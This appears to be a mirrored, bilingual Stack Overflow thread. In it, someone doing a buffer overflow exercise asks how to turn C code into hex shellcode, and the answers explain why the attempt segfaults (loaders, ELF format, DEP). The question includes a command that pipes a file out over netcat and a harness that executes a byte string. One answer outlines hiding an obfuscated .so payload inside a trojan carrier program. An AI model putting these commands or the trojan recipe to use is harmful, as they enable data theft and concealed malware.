简体   繁体   English

如何将C代码转换为程序集的十六进制表示形式?

[英]How do you convert c code into assembly's hex representation?

Edit: It appears I have a lot more reading to do... 编辑:看来我还有很多阅读要做...

Also, for those telling me this is a bad idea, it's for a buffer overflow exercise. 另外,对于那些告诉我这不是一个好主意的人,这是针对缓冲区溢出练习的。

I have a fairly simple C program: 我有一个相当简单的C程序:

int main() {
  system("cat file | nc -p 33 localhost 8080");
  return 0;
}

I want to turn it into hex assembly code. 我想将其转换为十六进制汇编代码。 Think something like: 想像:

\x55\x43\xff\x75\x13\x77...

I tried doing: 我试着做:

gcc -o shell shell.c
for i in $(objdump -d shell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

And that gave me a nice long string of hex. 这给了我一长串不错的十六进制。 But when I tested it in this program, I got a segfault. 但是,当我在该程序中对其进行测试时,出现了段错误。

code = "\x55\x43\xff\x75\x13\x77..."
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

Anyone know how I can get this working? 有人知道我该如何工作吗? Thanks! 谢谢! Also, I don't know if it matters but it's a 64 bit system. 另外,我不知道这是否重要,但这是一个64位系统。

You are missing a whole bunch of stuff that the OS does for you between the time the binary code is loaded from disk and it is executed. 从磁盘加载二进制代码到执行二进制代码之间,您会丢失操作系统为您做的一堆事情 The function call "system(char *command)" for example: The pointer to the command characters is invalid until the OS loader "fixes" the pointers. 例如,该函数调用“ system(char * command)”:在OS加载程序“修复”指针之前,指向命令字符的指针无效。

If you are very, very careful you can construct code that does not rely on pointers and can run from any arbitrary address without help from the OS loader. 如果非常非常小心,则可以构造不依赖指针的代码,并且可以在无需OS加载程序帮助的情况下从任意地址运行代码。 This is how stack overflow exploits are created. 这就是创建堆栈溢出漏洞的方式。 Most modern CPUs prevent this code from running by using the memory manager to mark memory as either "DATA" or "CODE" and faulting if your program tries to execute DATA or write to CODE. 大多数现代CPU通过使用内存管理器将内存标记为“ DATA”或“ CODE”来阻止此代码运行,并在程序尝试执行DATA或写入CODE时出错。

What you are trying to do, the OS is trying to prevent. 您正在尝试执行的操作,操作系统正在尝试阻止。

This won't work. 这行不通。 The main reason is: What your compiler creates for you is not just plain binary code but a well-defined file-format for a runnable program (on windows a PE file, on linux an ELF file) This file is read by the dynamic linker of your operating system and preprocessed (eg linked to dynamic shared objects , read libraries) before it is executed by jumping to the entry point that is somehow given in the headers of the file. 主要原因是:编译器为您创建的不仅是简单的二进制代码,而且是可运行程序的明确定义的文件格式(在Windows上为PE文件,在Linux上为ELF文件)由动态链接器读取。并在执行之前通过跳转到文件头中以某种方式给出的入口点对其进行了预处理(例如,链接到动态共享库,读取库)。 There's no way such a file could be executed by just jumping to the first byte in the file. 没有办法 ,这样的文件可以通过只是跳转到该文件中的第一个字节执行。 In fact, it's the linker that creates the output format, but it's invoked by the compiler automatically. 实际上,是由链接器创建输出格式的,但编译器会自动调用它。

If you JUST want the assembler code, use gcc -S ... you will get mnemonics that could be fed to a standalone assembler. 如果只需要汇编程序代码,请使用gcc -S ...,您将获得可用于独立汇编程序的助记符。

There are ways to trick the linker to emit a plain binary of your code (See here an interesting read about how to use that to generate an MS-DOS .COM file), but you still have the problem that your program typically doesn't consist of only the text (read, the binary code executed) but you also have data, typically in .data segment (for readonly) and .bss segment (for readwrite). 有多种方法可以诱骗链接器发出代码的二进制代码(请参阅此处有关如何使用该代码生成MS-DOS .COM文件的有趣读物 ),但是您仍然遇到问题,即程序通常不会仅包含文本 (已读,已执行的二进制代码),但是您也具有数据,通常在.data段(对于只读)和.bss段(对于读写)中。

Adding to that, placing the binary in a string will normally put it in the .data segment. 除此之外,将二进制文件放在字符串中通常会将其放在.data段中。 Although this could be executable, it doesn't have to, and from a security point of view, it shouldn't -- see Data Execution Prevention . 尽管它可以执行,但不是必须的,从安全的角度来看,它也不应该 -参见Data Execution Prevention

All in all, just forget about that... 总而言之,就算了...

I'm not sure what you are trying to achieve, but if I put my black hat on for a minute... 我不确定您要达到的目标,但是如果我戴上黑帽子一分钟...

If you are trying to write a stack overflow exploit, you need to learn about the memory manager and the gory details of the target CPU. 如果要编写堆栈溢出漏洞利用程序,则需要了解内存管理器和目标CPU的详细信息。 You will be dealing strictly with the CPU and circumventing the OS entirely. 您将严格处理CPU,并完全规避操作系统。

If you are trying to write a trojan horse, you should compile your payload as a dynamic library (.so) and put the hex for the entire payload.so file into code[]. 如果要编写特洛伊木马,则应将有效负载编译为动态库(.so),并将整个有效负载.so 文件的十六进制形式放入代码[]。 Then, in the carrier program, map code[] to a virtual file (or just write it to disk) and call loadlibrary() on the (virtual) file. 然后,在载体程序中,将code []映射到虚拟文件(或仅将其写入磁盘)并在(虚拟)文件上调用loadlibrary()。 You still won't be root, but your payload will be buried inside the first executable. 您仍然不会成为root用户,但是您的有效负载将被埋在第一个可执行文件中。 You can bit-twiddle the code[] bytes to obfuscate the payload. 您可以对code []字节进行位旋转,以混淆有效负载。 You will also need to figure out how to set the executable flag on the newly created file. 您还需要弄清楚如何在新创建的文件上设置可执行标志。

For either of these, you will be working against the CPU and/or OS. 对于这两种情况,您都将使用CPU和/或OS。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM